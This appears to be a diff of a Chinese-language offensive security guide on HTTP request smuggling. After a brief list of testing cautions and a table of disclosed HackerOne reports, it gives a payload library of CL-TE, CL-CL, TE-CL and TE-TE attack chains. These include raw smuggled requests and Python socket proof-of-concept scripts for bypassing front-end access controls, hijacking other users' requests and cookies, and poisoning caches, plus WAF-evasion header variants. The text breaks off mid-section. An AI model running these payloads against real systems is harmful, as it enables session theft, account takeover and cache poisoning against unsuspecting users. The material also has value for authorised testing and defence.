## 8. 不要做的事
|
|
163
|
+
|
|
164
|
+
- **禁**:在生产上做大流量 desync 测试(影响他人请求)。低速、单次验证。
|
|
165
|
+
- **禁**:把走私构造的恶意响应缓存到全站共享路径(其他用户会受影响)。在你自己的 cache key 上演示。
|
|
166
|
+
- **禁**:实际偷取他人 cookie / token。看到 desync 现象即停。
|
|
167
|
+
|
|
168
|
+
## H1 真实案例
|
|
169
|
+
|
|
170
|
+
_共 38 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
|
|
171
|
+
|
|
172
|
+
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
|
173
|
+
|---|--:|---|---|---|
|
|
174
|
+
| High | 20000 usd | PayPal | [Bypass for #488147 enables stored XSS on https://paypal.com/signin again](https://hackerone.com/reports/510152) | Bypass for #488147 enables stored XSS on https://paypal.com/signin again |
|
|
175
|
+
| High | 18900 usd | PayPal | [Stored XSS on https://paypal.com/signin via cache poisoning](https://hackerone.com/reports/488147) | Stored XSS on https://paypal.com/signin via cache poisoning |
|
|
176
|
+
| Critical | — | Slack | [Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies](https://hackerone.com/reports/737140) | Hi Slack Security Team! My name is Evan and I'm a first time bug hunter to your platform :) Because you guys were running a mon… |
|
|
177
|
+
| High | — | LY Corporation | [Request smuggling on admin-official.line.me could lead to account takeover](https://hackerone.com/reports/740037) | Request smuggling on admin-official.line.me could lead to account takeover |
|
|
178
|
+
| Critical | — | Eternal | [Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com](https://hackerone.com/reports/771666) | Intro Hi Zomato Security Team! My name is Evan Custodio and this is my first time evaluating your platform. I specialize in loo… |
|
|
179
|
+
| Critical | 7500 usd | Basecamp | [HTTP Request Smuggling via HTTP/2](https://hackerone.com/reports/1211724) | HTTP Request Smuggling via HTTP/2 |
|
|
180
|
+
| High | — | Helium | [HTTP request Smuggling](https://hackerone.com/reports/867952) | When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web … |
|
|
181
|
+
| Critical | 6000 usd | Cloudflare Public Bug Bounty | [HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() func…](https://hackerone.com/reports/1478633) | HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() function |
|
|
182
|
+
| High | 750 usd | GSA Bounty | [HTTP Request Smuggling on https://labs.data.gov](https://hackerone.com/reports/726773) | Greetings, The application appears to be vulnerable to HTTP request smuggling due to a disagreement between the front-end and b… |
|
|
183
|
+
| High | 4660 usd | Internet Bug Bounty | [Possibility of Request smuggling attack](https://hackerone.com/reports/2280391) | Request smuggling was possible by throwing an IOException with the upper size limit of the trailer header |
|
|
184
|
+
| High | — | Node.js | [HTTP Request Smuggling due to CR-to-Hyphen conversion](https://hackerone.com/reports/922597) | NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, th… |
|
|
185
|
+
| Critical | 5000 usd | Aiven Ltd | [Grafana RCE via SMTP server parameter injection](https://hackerone.com/reports/1200647) | Summary: This report is similar to #1180653, except with different parameter injection entrypoint |
|
|
186
|
+
|
|
187
|
+
**命中本类的 weakness 分布:**
|
|
188
|
+
|
|
189
|
+
- HTTP Request Smuggling:27 条
|
|
190
|
+
- CRLF Injection:5 条
|
|
191
|
+
- Uncategorized → 手工归类:4 条
|
|
192
|
+
- HTTP Response Splitting:2 条
|
|
193
|
+
|
|
194
|
+
|
|
195
|
+
## Payload 库
|
|
196
|
+
|
|
197
|
+
_4 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
|
|
198
|
+
|
|
199
|
+
### CL-TE请求走私 `smuggling-cl-te`
|
|
200
|
+
Content-Length与Transfer-Encoding走私
|
|
201
|
+
子类:**CL-TE** · tags: `smuggling` `request` `http`
|
|
202
|
+
|
|
203
|
+
**前置条件:** 目标使用多层代理;前后端处理差异
|
|
204
|
+
|
|
205
|
+
**攻击链:**
|
|
206
|
+
|
|
207
|
+
**1. CL-TE基础**
|
|
208
|
+
_CL-TE走私_
|
|
209
|
+
```
|
|
210
|
+
POST / HTTP/1.1
|
|
211
|
+
Host: target.com
|
|
212
|
+
Content-Length: 13
|
|
213
|
+
Transfer-Encoding: chunked
|
|
214
|
+
|
|
215
|
+
0
|
|
216
|
+
|
|
217
|
+
SMUGGLED
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
**2. TE-CL基础**
|
|
221
|
+
_TE-CL走私_
|
|
222
|
+
```
|
|
223
|
+
POST / HTTP/1.1
|
|
224
|
+
Host: target.com
|
|
225
|
+
Content-Length: 3
|
|
226
|
+
Transfer-Encoding: chunked
|
|
227
|
+
|
|
228
|
+
8
|
|
229
|
+
SMUGGLED
|
|
230
|
+
0
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
**3. TE-TE**
|
|
234
|
+
_TE-TE走私_
|
|
235
|
+
```
|
|
236
|
+
POST / HTTP/1.1
|
|
237
|
+
Host: target.com
|
|
238
|
+
Transfer-Encoding: chunked
|
|
239
|
+
Transfer-Encoding: x
|
|
240
|
+
|
|
241
|
+
0
|
|
242
|
+
|
|
243
|
+
SMUGGLED
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
**WAF/EDR 绕过变体:**
|
|
247
|
+
|
|
248
|
+
**1. TE头混淆变体**
|
|
249
|
+
_通过在Transfer-Encoding头中添加空格、制表符、换行符、多重头部、拼写变体等方式使前后端代理对该头的解析产生差异,触发请求走私_
|
|
250
|
+
```
|
|
251
|
+
# TE头混淆(使前/后端对TE解析不一致):
|
|
252
|
+
Transfer-Encoding: chunked
|
|
253
|
+
|
|
254
|
+
Transfer-Encoding : chunked
|
|
255
|
+
|
|
256
|
+
Transfer-Encoding: xchunked
|
|
257
|
+
|
|
258
|
+
Transfer-Encoding: chunked
|
|
259
|
+
Transfer-Encoding: x
|
|
260
|
+
|
|
261
|
+
Transfer-Encoding:[tab]chunked
|
|
262
|
+
|
|
263
|
+
X: x
|
|
264
|
+
Transfer-Encoding: chunked
|
|
265
|
+
|
|
266
|
+
Transfer-Encoding
|
|
267
|
+
: chunked
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
**2. Chunked扩展字段与CL-TE组合利用**
|
|
271
|
+
_利用HTTP Chunked编码的扩展字段(分号后内容)干扰解析,或通过CL-0技巧使前端认为请求无体而后端继续处理走私的第二个请求_
|
|
272
|
+
```
|
|
273
|
+
# Chunked扩展字段(RFC允许的分号后扩展):
|
|
274
|
+
POST / HTTP/1.1
|
|
275
|
+
Host: target.com
|
|
276
|
+
Content-Length: 6
|
|
277
|
+
Transfer-Encoding: chunked
|
|
278
|
+
|
|
279
|
+
0;ext="injected"
|
|
280
|
+
|
|
281
|
+
G
|
|
282
|
+
|
|
283
|
+
# CL-0走私:
|
|
284
|
+
POST / HTTP/1.1
|
|
285
|
+
Host: target.com
|
|
286
|
+
Content-Length: 0
|
|
287
|
+
Transfer-Encoding: chunked
|
|
288
|
+
|
|
289
|
+
GET /admin HTTP/1.1
|
|
290
|
+
Host: target.com
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
---
|
|
294
|
+
|
|
295
|
+
### CL-CL走私 `smuggling-cl-cl`
|
|
296
|
+
利用前端代理和后端服务器同时处理Content-Length头但对多个CL头的处理差异实现HTTP请求走私
|
|
297
|
+
子类:**CL-CL** · tags: `smuggling` `cl-cl` `http`
|
|
298
|
+
|
|
299
|
+
**前置条件:** 存在前端代理(如HAProxy/Nginx)+后端服务器架构;两端对Content-Length头的解析存在差异;理解HTTP请求走私原理
|
|
300
|
+
|
|
301
|
+
**攻击链:**
|
|
302
|
+
|
|
303
|
+
**1. 检测CL-CL走私条件** _[linux]_
|
|
304
|
+
_探测目标是否存在双CL走私条件_
|
|
305
|
+
```
|
|
306
|
+
# 检测前端代理类型:
|
|
307
|
+
curl -sI "http://target.com/" | grep -iE "server:|via:|x-forwarded"
|
|
308
|
+
|
|
309
|
+
# 发送包含两个Content-Length的请求:
|
|
310
|
+
curl -v "http://target.com/" -H "Content-Length: 6" -H "Content-Length: 0" -d "test12"
|
|
311
|
+
|
|
312
|
+
# 观察响应:
|
|
313
|
+
# - 如果正常返回: 可能只解析了一个CL
|
|
314
|
+
# - 如果400/错误: 服务器拒绝多CL(安全)
|
|
315
|
+
# - 如果部分处理: 存在走私可能
|
|
316
|
+
```
|
|
317
|
+
|
|
318
|
+
**2. CL-CL请求走私POC**
|
|
319
|
+
_构造包含两个Content-Length的走私请求,将恶意请求注入到后端处理队列_
|
|
320
|
+
```
|
|
321
|
+
# Python POC - CL-CL走私
|
|
322
|
+
import socket
|
|
323
|
+
|
|
324
|
+
def smuggle_cl_cl(host, port):
|
|
325
|
+
payload = (
|
|
326
|
+
"POST / HTTP/1.1
|
|
327
|
+
"
|
|
328
|
+
f"Host: {host}
|
|
329
|
+
"
|
|
330
|
+
"Content-Length: 44
|
|
331
|
+
" # 前端使用这个CL
|
|
332
|
+
"Content-Length: 0
|
|
333
|
+
" # 后端使用这个CL
|
|
334
|
+
"
|
|
335
|
+
"
|
|
336
|
+
"GET /admin HTTP/1.1
|
|
337
|
+
" # 走私的请求
|
|
338
|
+
f"Host: {host}
|
|
339
|
+
"
|
|
340
|
+
"
|
|
341
|
+
"
|
|
342
|
+
)
|
|
343
|
+
s = socket.socket()
|
|
344
|
+
s.connect((host, port))
|
|
345
|
+
s.send(payload.encode())
|
|
346
|
+
resp = s.recv(4096).decode(errors="ignore")
|
|
347
|
+
print(resp)
|
|
348
|
+
s.close()
|
|
349
|
+
|
|
350
|
+
smuggle_cl_cl("target.com", 80)
|
|
351
|
+
```
|
|
352
|
+
|
|
353
|
+
**3. 利用CL-CL走私绕过前端访问控制**
|
|
354
|
+
_利用CL-CL走私绕过前端代理的ACL访问限制访问/admin_
|
|
355
|
+
```
|
|
356
|
+
# 场景:前端限制/admin访问,通过走私绕过
|
|
357
|
+
import socket
|
|
358
|
+
|
|
359
|
+
def bypass_acl(host, port):
|
|
360
|
+
# 走私请求到/admin端点
|
|
361
|
+
smuggled = (
|
|
362
|
+
"GET /admin HTTP/1.1
|
|
363
|
+
"
|
|
364
|
+
f"Host: {host}
|
|
365
|
+
"
|
|
366
|
+
"
|
|
367
|
+
"
|
|
368
|
+
)
|
|
369
|
+
content_length_real = len(smuggled)
|
|
370
|
+
|
|
371
|
+
payload = (
|
|
372
|
+
"POST / HTTP/1.1
|
|
373
|
+
"
|
|
374
|
+
f"Host: {host}
|
|
375
|
+
"
|
|
376
|
+
f"Content-Length: {content_length_real}
|
|
377
|
+
"
|
|
378
|
+
"Content-Length: 0
|
|
379
|
+
"
|
|
380
|
+
"Connection: keep-alive
|
|
381
|
+
"
|
|
382
|
+
"
|
|
383
|
+
"
|
|
384
|
+
+ smuggled
|
|
385
|
+
)
|
|
386
|
+
|
|
387
|
+
s = socket.socket()
|
|
388
|
+
s.connect((host, port))
|
|
389
|
+
s.send(payload.encode())
|
|
390
|
+
# 接收两个响应
|
|
391
|
+
resp = s.recv(8192).decode(errors="ignore")
|
|
392
|
+
print("[Response 1 - Normal]")
|
|
393
|
+
print(resp[:500])
|
|
394
|
+
resp2 = s.recv(8192).decode(errors="ignore")
|
|
395
|
+
print("[Response 2 - Smuggled /admin]")
|
|
396
|
+
print(resp2[:500])
|
|
397
|
+
s.close()
|
|
398
|
+
|
|
399
|
+
bypass_acl("target.com", 80)
|
|
400
|
+
```
|
|
401
|
+
|
|
402
|
+
**WAF/EDR 绕过变体:**
|
|
403
|
+
|
|
404
|
+
**1. HTTP/2降级绕过**
|
|
405
|
+
_利用HTTP/2到HTTP/1.1协议降级时前后端对请求边界解析不一致实现走私_
|
|
406
|
+
```
|
|
407
|
+
# HTTP/2 -> HTTP/1.1降级利用
|
|
408
|
+
# 前端H2后端H1时的走私
|
|
409
|
+
:method: POST
|
|
410
|
+
:path: /
|
|
411
|
+
:authority: target.com
|
|
412
|
+
content-length: 0
|
|
413
|
+
|
|
414
|
+
GET /admin HTTP/1.1
|
|
415
|
+
Host: target.com
|
|
416
|
+
|
|
417
|
+
# H2C升级走私
|
|
418
|
+
GET / HTTP/1.1
|
|
419
|
+
Host: target.com
|
|
420
|
+
Upgrade: h2c
|
|
421
|
+
HTTP2-Settings: <base64>
|
|
422
|
+
Connection: Upgrade, HTTP2-Settings
|
|
423
|
+
```
|
|
424
|
+
|
|
425
|
+
**2. 连接复用操控**
|
|
426
|
+
_通过双Content-Length头值差异和keep-alive连接复用在代理链中走私请求_
|
|
427
|
+
```
|
|
428
|
+
# 双CL值差异
|
|
429
|
+
POST / HTTP/1.1
|
|
430
|
+
Host: target.com
|
|
431
|
+
Content-Length: 6
|
|
432
|
+
Content-Length: 50
|
|
433
|
+
|
|
434
|
+
12345GPOST /admin HTTP/1.1
|
|
435
|
+
Host: target.com
|
|
436
|
+
|
|
437
|
+
# 利用keep-alive连接复用
|
|
438
|
+
GET / HTTP/1.1
|
|
439
|
+
Host: target.com
|
|
440
|
+
Connection: keep-alive
|
|
441
|
+
Content-Length: 0
|
|
442
|
+
|
|
443
|
+
GET /admin HTTP/1.1
|
|
444
|
+
Host: internal.target.com
|
|
445
|
+
```
|
|
446
|
+
|
|
447
|
+
**3. 代理链混淆**
|
|
448
|
+
_利用多级代理对Content-Length头中空格和冒号处理差异实现请求走私_
|
|
449
|
+
```
|
|
450
|
+
# 多级代理CL处理差异
|
|
451
|
+
POST / HTTP/1.1
|
|
452
|
+
Host: target.com
|
|
453
|
+
Content-Length: 44
|
|
454
|
+
Content-Length : 0
|
|
455
|
+
|
|
456
|
+
GET /admin HTTP/1.1
|
|
457
|
+
Host: target.com
|
|
458
|
+
X: 1
|
|
459
|
+
|
|
460
|
+
# 空格混淆CL头
|
|
461
|
+
POST / HTTP/1.1
|
|
462
|
+
Host: target.com
|
|
463
|
+
Content-Length: 0
|
|
464
|
+
Content-Length: 42
|
|
465
|
+
|
|
466
|
+
GET /internal HTTP/1.1
|
|
467
|
+
Host: target.com
|
|
468
|
+
```
|
|
469
|
+
|
|
470
|
+
---
|
|
471
|
+
|
|
472
|
+
### TE-CL走私 `smuggling-te-cl`
|
|
473
|
+
利用前端使用Transfer-Encoding而后端使用Content-Length的差异实现HTTP请求走私
|
|
474
|
+
子类:**TE-CL** · tags: `smuggling` `te-cl` `http`
|
|
475
|
+
|
|
476
|
+
**前置条件:** 前端代理优先处理Transfer-Encoding;后端服务器优先处理Content-Length;理解chunked编码格式
|
|
477
|
+
|
|
478
|
+
**攻击链:**
|
|
479
|
+
|
|
480
|
+
**1. 检测TE-CL差异**
|
|
481
|
+
_检测前端和后端对TE vs CL的优先级差异_
|
|
482
|
+
```
|
|
483
|
+
# 发送同时包含TE和CL的请求:
|
|
484
|
+
curl -v "http://target.com/" -H "Transfer-Encoding: chunked" -H "Content-Length: 3" -d "0
|
|
485
|
+
|
|
486
|
+
"
|
|
487
|
+
|
|
488
|
+
# 使用timing检测:
|
|
489
|
+
# 如果后端使用CL,会等待更多数据(超时)
|
|
490
|
+
import socket, time
|
|
491
|
+
|
|
492
|
+
s = socket.socket()
|
|
493
|
+
s.connect(("target.com", 80))
|
|
494
|
+
payload = (
|
|
495
|
+
"POST / HTTP/1.1
|
|
496
|
+
"
|
|
497
|
+
"Host: target.com
|
|
498
|
+
"
|
|
499
|
+
"Transfer-Encoding: chunked
|
|
500
|
+
"
|
|
501
|
+
"Content-Length: 6
|
|
502
|
+
"
|
|
503
|
+
"
|
|
504
|
+
"
|
|
505
|
+
"0
|
|
506
|
+
|
|
507
|
+
"
|
|
508
|
+
)
|
|
509
|
+
s.send(payload.encode())
|
|
510
|
+
start = time.time()
|
|
511
|
+
resp = s.recv(4096)
|
|
512
|
+
elapsed = time.time() - start
|
|
513
|
+
print(f"Response in {elapsed:.2f}s")
|
|
514
|
+
# 快速响应=后端用TE, 延迟响应=后端用CL
|
|
515
|
+
```
|
|
516
|
+
|
|
517
|
+
**2. TE-CL走私POC**
|
|
518
|
+
_TE-CL走私:前端按chunked处理转发整个body,后端按CL只读取部分,剩余变为走私请求_
|
|
519
|
+
```
|
|
520
|
+
import socket
|
|
521
|
+
|
|
522
|
+
def te_cl_smuggle(host, port):
|
|
523
|
+
# 前端(TE): 读取到"0
|
|
524
|
+
|
|
525
|
+
"结束 → 整个payload是一个请求
|
|
526
|
+
# 后端(CL): 只读取Content-Length指定的字节 → 剩余字节是新请求
|
|
527
|
+
|
|
528
|
+
smuggled = "GET /admin HTTP/1.1
|
|
529
|
+
Host: {}
|
|
530
|
+
|
|
531
|
+
".format(host)
|
|
532
|
+
|
|
533
|
+
payload = (
|
|
534
|
+
"POST / HTTP/1.1
|
|
535
|
+
"
|
|
536
|
+
"Host: {}
|
|
537
|
+
"
|
|
538
|
+
"Content-Length: 4
|
|
539
|
+
"
|
|
540
|
+
"Transfer-Encoding: chunked
|
|
541
|
+
"
|
|
542
|
+
"
|
|
543
|
+
"
|
|
544
|
+
"{}
|
|
545
|
+
"
|
|
546
|
+
"{}"
|
|
547
|
+
"0
|
|
548
|
+
|
|
549
|
+
"
|
|
550
|
+
).format(host, format(len(smuggled), "x"), smuggled)
|
|
551
|
+
|
|
552
|
+
s = socket.socket()
|
|
553
|
+
s.connect((host, port))
|
|
554
|
+
s.send(payload.encode())
|
|
555
|
+
resp = s.recv(4096)
|
|
556
|
+
print(resp.decode(errors="ignore")[:500])
|
|
557
|
+
s.close()
|
|
558
|
+
|
|
559
|
+
te_cl_smuggle("target.com", 80)
|
|
560
|
+
```
|
|
561
|
+
|
|
562
|
+
**3. TE-CL走私实现请求劫持**
|
|
563
|
+
_走私不完整的POST请求,使下一个用户的请求内容(含Cookie)被反射到搜索结果中_
|
|
564
|
+
```
|
|
565
|
+
# 利用走私劫持下一个用户的请求
|
|
566
|
+
import socket
|
|
567
|
+
|
|
568
|
+
def hijack_request(host, port):
|
|
569
|
+
# 走私一个不完整的POST请求
|
|
570
|
+
# 下一个正常用户的请求会被拼接为这个POST的body
|
|
571
|
+
smuggled = (
|
|
572
|
+
"POST /search HTTP/1.1
|
|
573
|
+
"
|
|
574
|
+
"Host: {}
|
|
575
|
+
"
|
|
576
|
+
"Content-Type: application/x-www-form-urlencoded
|
|
577
|
+
"
|
|
578
|
+
"Content-Length: 200
|
|
579
|
+
" # 大CL会吞噬下一个请求
|
|
580
|
+
"
|
|
581
|
+
"
|
|
582
|
+
"q=" # 下一个请求的数据会被当作搜索参数
|
|
583
|
+
).format(host)
|
|
584
|
+
|
|
585
|
+
chunk_size = format(len(smuggled), "x")
|
|
586
|
+
payload = (
|
|
587
|
+
"POST / HTTP/1.1
|
|
588
|
+
"
|
|
589
|
+
"Host: {}
|
|
590
|
+
"
|
|
591
|
+
"Content-Length: 4
|
|
592
|
+
"
|
|
593
|
+
"Transfer-Encoding: chunked
|
|
594
|
+
"
|
|
595
|
+
"
|
|
596
|
+
"
|
|
597
|
+
"{}
|
|
598
|
+
"
|
|
599
|
+
"{}"
|
|
600
|
+
"0
|
|
601
|
+
|
|
602
|
+
"
|
|
603
|
+
).format(host, chunk_size, smuggled)
|
|
604
|
+
|
|
605
|
+
s = socket.socket()
|
|
606
|
+
s.connect((host, port))
|
|
607
|
+
s.send(payload.encode())
|
|
608
|
+
print(s.recv(4096).decode(errors="ignore")[:500])
|
|
609
|
+
s.close()
|
|
610
|
+
|
|
611
|
+
hijack_request("target.com", 80)
|
|
612
|
+
```
|
|
613
|
+
|
|
614
|
+
**WAF/EDR 绕过变体:**
|
|
615
|
+
|
|
616
|
+
**1. TE头大小写变体绕过**
|
|
617
|
+
_利用不同代理对Transfer-Encoding头名大小写和值处理的差异绕过TE-CL走私检测_
|
|
618
|
+
```
|
|
619
|
+
# TE头大小写混淆
|
|
620
|
+
POST / HTTP/1.1
|
|
621
|
+
Host: target.com
|
|
622
|
+
Content-Length: 4
|
|
623
|
+
Transfer-Encoding: chunked
|
|
624
|
+
Transfer-encoding: identity
|
|
625
|
+
|
|
626
|
+
5c
|
|
627
|
+
GPOST /admin HTTP/1.1
|
|
628
|
+
Content-Type: application/x-www-form-urlencoded
|
|
629
|
+
Content-Length: 15
|
|
630
|
+
|
|
631
|
+
x=1
|
|
632
|
+
0
|
|
633
|
+
|
|
634
|
+
|
|
635
|
+
# Transfer-Encoding变体
|
|
636
|
+
Transfer-Encoding: xchunked
|
|
637
|
+
Transfer-Encoding : chunked
|
|
638
|
+
Transfer-Encoding: chunked
|
|
639
|
+
Transfer-Encoding: x
|
|
640
|
+
```
|
|
641
|
+
|
|
642
|
+
**2. 空白字符注入**
|
|
643
|
+
_在Transfer-Encoding头中注入制表符、前导空格和CRLF字符,使不同代理解析不同_
|
|
644
|
+
```
|
|
645
|
+
# 制表符/换行注入TE头
|
|
646
|
+
POST / HTTP/1.1
|
|
647
|
+
Host: target.com
|
|
648
|
+
Content-Length: 4
|
|
649
|
+
Transfer-Encoding:\tchunked
|
|
650
|
+
|
|
651
|
+
# 行前空格混淆
|
|
652
|
+
POST / HTTP/1.1
|
|
653
|
+
Host: target.com
|
|
654
|
+
Content-Length: 4
|
|
655
|
+
Transfer-Encoding: chunked
|
|
656
|
+
|
|
657
|
+
# CRLF注入变体
|
|
658
|
+
POST / HTTP/1.1
|
|
659
|
+
Host: target.com
|
|
660
|
+
Content-Length: 4
|
|
661
|
+
Transfer-Encoding: chunked\x0d\x0aX-Ignore: x
|
|
662
|
+
```
|
|
663
|
+
|
|
664
|
+
**3. chunk扩展字段利用**
|
|
665
|
+
_利用HTTP分块传输中chunk-extension字段和非标准chunk大小格式造成前后端解析差异_
|
|
666
|
+
```
|
|
667
|
+
# chunk扩展混淆
|
|
668
|
+
POST / HTTP/1.1
|
|
669
|
+
Host: target.com
|
|
670
|
+
Content-Length: 4
|
|
671
|
+
Transfer-Encoding: chunked
|
|
672
|
+
|
|
673
|
+
5;ext=val
|
|
674
|
+
hello
|
|
675
|
+
0
|
|
676
|
+
|
|
677
|
+
|
|
678
|
+
# 超长chunk扩展
|
|
679
|
+
5;aaaaaaa...aaaa=bbbb...bbb
|
|
680
|
+
hello
|
|
681
|
+
0
|
|
682
|
+
|
|
683
|
+
|
|
684
|
+
# 非法chunk大小格式
|
|
685
|
+
5
|
|
686
|
+
hello
|
|
687
|
+
0
|
|
688
|
+
|
|
689
|
+
|
|
690
|
+
# 0x前缀
|
|
691
|
+
0x5
|
|
692
|
+
hello
|
|
693
|
+
0
|
|
694
|
+
```
|
|
695
|
+
|
|
696
|
+
---
|
|
697
|
+
|
|
698
|
+
### TE-TE走私 `smuggling-te-te`
|
|
699
|
+
利用前端和后端对Transfer-Encoding头的不同混淆变体的处理差异实现请求走私
|
|
700
|
+
子类:**TE-TE** · tags: `smuggling` `te-te` `http`
|
|
701
|
+
|
|
702
|
+
**前置条件:** 前后端都支持Transfer-Encoding;可以通过TE头混淆使一端忽略TE;了解chunked编码和HTTP走私原理
|
|
703
|
+
|
|
704
|
+
**攻击链:**
|
|
705
|
+
|
|
706
|
+
**1. TE混淆变体探测**
|
|
707
|
+
_测试各种Transfer-Encoding混淆变体,寻找前后端解析差异_
|
|
708
|
+
```
|
|
709
|
+
# Transfer-Encoding的各种混淆写法:
|
|
710
|
+
# 测试哪种混淆能让一端忽略TE
|
|
711
|
+
import socket
|
|
712
|
+
|
|
713
|
+
te_variants = [
|
|
714
|
+
"Transfer-Encoding: xchunked",
|
|
715
|
+
"Transfer-Encoding : chunked", # 冒号前空格
|
|
716
|
+
"Transfer-Encoding: chunked
|
|
717
|
+
Transfer-encoding: cow", # 两个TE
|
|
718
|
+
"Transfer-Encoding : chunked", # Tab分隔
|
|
719
|
+
"Transfer-Encoding: chunked", # Tab前缀
|
|
720
|
+
" Transfer-Encoding: chunked", # 行首空格
|
|
721
|
+
"X: x
|
|
722
|
+
Transfer-Encoding: chunked", # Header注入
|
|
723
|
+
"Transfer-Encoding: chunked\x00", # 空字节
|
|
724
|
+
]
|
|
725
|
+
|
|
726
|
+
for i, te in enumerate(te_variants):
|
|
727
|
+
print(f"[{i}] Testing: {te[:60]}")
|
|
728
|
+
payload = (
|
|
729
|
+
"POST / HTTP/1.1
|
|
730
|
+
"
|
|
731
|
+
"Host: target.com
|
|
732
|
+
"
|
|
733
|
+
f"{te}
|
|
734
|
+
"
|
|
735
|
+
"Content-Length: 5
|
|
736
|
+
"
|
|
737
|
+
"
|
|
738
|
+
"
|
|
739
|
+
"0
|
|
740
|
+
|
|
741
|
+
"
|
|
742
|
+
)
|
|
743
|
+
try:
|
|
744
|
+
s = socket.socket()
|
|
745
|
+
s.settimeout(3)
|
|
746
|
+
s.connect(("target.com", 80))
|
|
747
|
+
s.send(payload.encode())
|
|
748
|
+
resp = s.recv(1024).decode(errors="ignore")
|
|
749
|
+
status = resp.split("
|
|
750
|
+
")[0] if resp else "No response"
|
|
751
|
+
print(f" → {status}")
|
|
752
|
+
s.close()
|
|
753
|
+
except Exception as e:
|
|
754
|
+
print(f" → Error: {e}")
|
|
755
|
+
```
|
|
756
|
+
|
|
757
|
+
**2. TE-TE走私利用(前端忽略混淆TE)**
|
|
758
|
+
_利用TE头混淆使一端按CL、另一端按TE处理,实现走私_
|
|
759
|
+
```
|
|
760
|
+
import socket
|
|
761
|
+
|
|
762
|
+
def te_te_smuggle(host, port, te_header):
|
|
763
|
+
# 前端不识别混淆的TE → 使用CL
|
|
764
|
+
# 后端识别混淆的TE → 使用chunked
|
|
765
|
+
|
|
766
|
+
smuggled = "GET /admin HTTP/1.1
|
|
767
|
+
Host: {}
|
|
768
|
+
|
|
769
|
+
".format(host)
|
|
770
|
+
|
|
771
|
+
payload = (
|
|
772
|
+
"POST / HTTP/1.1
|
|
773
|
+
"
|
|
774
|
+
"Host: {}
|
|
775
|
+
"
|
|
776
|
+
"Content-Length: {}
|
|
777
|
+
"
|
|
778
|
+
"{}
|
|
779
|
+
"
|
|
780
|
+
"
|
|
781
|
+
"
|
|
782
|
+
"0
|
|
783
|
+
"
|
|
784
|
+
"
|
|
785
|
+
"
|
|
786
|
+
"{}"
|
|
787
|
+
).format(
|
|
788
|
+
host,
|
|
789
|
+
len("0
|
|
790
|
+
|
|
791
|
+
" + smuggled),
|
|
792
|
+
te_header,
|
|
793
|
+
smuggled
|
|
794
|
+
)
|
|
795
|
+
|
|
796
|
+
s = socket.socket()
|
|
797
|
+
s.connect((host, port))
|
|
798
|
+
s.send(payload.encode())
|
|
799
|
+
resp = s.recv(4096)
|
|
800
|
+
print(resp.decode(errors="ignore")[:500])
|
|
801
|
+
s.close()
|
|
802
|
+
|
|
803
|
+
# 使用发现的有效混淆变体:
|
|
804
|
+
te_te_smuggle("target.com", 80, "Transfer-Encoding: chunked
|
|
805
|
+
Transfer-encoding: cow")
|
|
806
|
+
```
|
|
807
|
+
|
|
808
|
+
**3. TE-TE缓存投毒攻击**
|
|
809
|
+
_利用TE-TE走私实现Web缓存投毒攻击_
|
|
810
|
+
```
|
|
811
|
+
import socket
|
|
812
|
+
|
|
813
|
+
def cache_poison_via_smuggling(host, port):
|
|
814
|
+
# 通过走私实现缓存投毒:
|
|
815
|
+
# 走私的请求指向静态资源,但包含恶意响应头/内容
|
|
816
|
+
|
|
817
|
+
smuggled = (
|
|
818
|
+
"GET /static/main.js HTTP/1.1
|
|
819
|
+
"
|
|
820
|
+
"Host: {}
|
|
821
|
+
"
|
|
822
|
+
"
|
|
823
|
+
"
|
|
824
|
+
).format(host)
|
|
825
|
+
|
|
826
|
+
# 先发送走私请求
|
|
827
|
+
payload = (
|
|
828
|
+
"POST / HTTP/1.1
|
|
829
|
+
"
|
|
830
|
+
"Host: {}
|
|
831
|
+
"
|
|
832
|
+
"Content-Length: {}
|
|
833
|
+
"
|
|
834
|
+
"Transfer-Encoding: chunked
|
|
835
|
+
"
|
|
836
|
+
"Transfer-encoding: x
|
|
837
|
+
"
|
|
838
|
+
"
|
|
839
|
+
"
|
|
840
|
+
"0
|
|
841
|
+
"
|
|
842
|
+
"
|
|
843
|
+
"
|
|
844
|
+
"{}"
|
|
845
|
+
).format(host, len("0
|
|
846
|
+
|
|
847
|
+
" + smuggled), smuggled)
|
|
848
|
+
|
|
849
|
+
s = socket.socket()
|
|
850
|
+
s.connect((host, port))
|
|
851
|
+
s.send(payload.encode())
|
|
852
|
+
resp = s.recv(4096)
|
|
853
|
+
print("[*] Cache poisoned")
|
|
854
|
+
print(resp.decode(errors="ignore")[:300])
|
|
855
|
+
s.close()
|
|
856
|
+
|
|
857
|
+
cache_poison_via_smuggling("target.com", 80)
|
|
858
|
+
```
|
|
859
|
+
|
|
860
|
+
**WAF/EDR 绕过变体:**
|
|
861
|
+
|
|
862
|
+
**1. 多重TE头混淆**
|
|
863
|
+
_发送多个Transfer-Encoding头或逗号分隔多值,利用前后端对多值TE头的优先级差异_
|
|
864
|
+
```
|
|
865
|
+
# 多个Transfer-Encoding头
|
|
866
|
+
POST / HTTP/1.1
|
|
867
|
+
Host: target.com
|
|
868
|
+
Transfer-Encoding: chunked
|
|
869
|
+
Transfer-Encoding: identity
|
|
870
|
+
Transfer-Encoding: chunked
|
|
871
|
+
|
|
872
|
+
# 逗号分隔多值
|
|
873
|
+
Transfer-Encoding: chunked, identity
|
|
874
|
+
Transfer-Encoding: identity, chunked
|
|
875
|
+
|
|
876
|
+
# 混合有效无效值
|
|
877
|
+
Transfer-Encoding: chunked
|
|
878
|
+
Transfer-Encoding: cow
|
|
879
|
+
Transfer-Encoding: chunked
|
|
880
|
+
```
|
|
881
|
+
|
|
882
|
+
**2. 非标准TE值混淆**
|
|
883
|
+
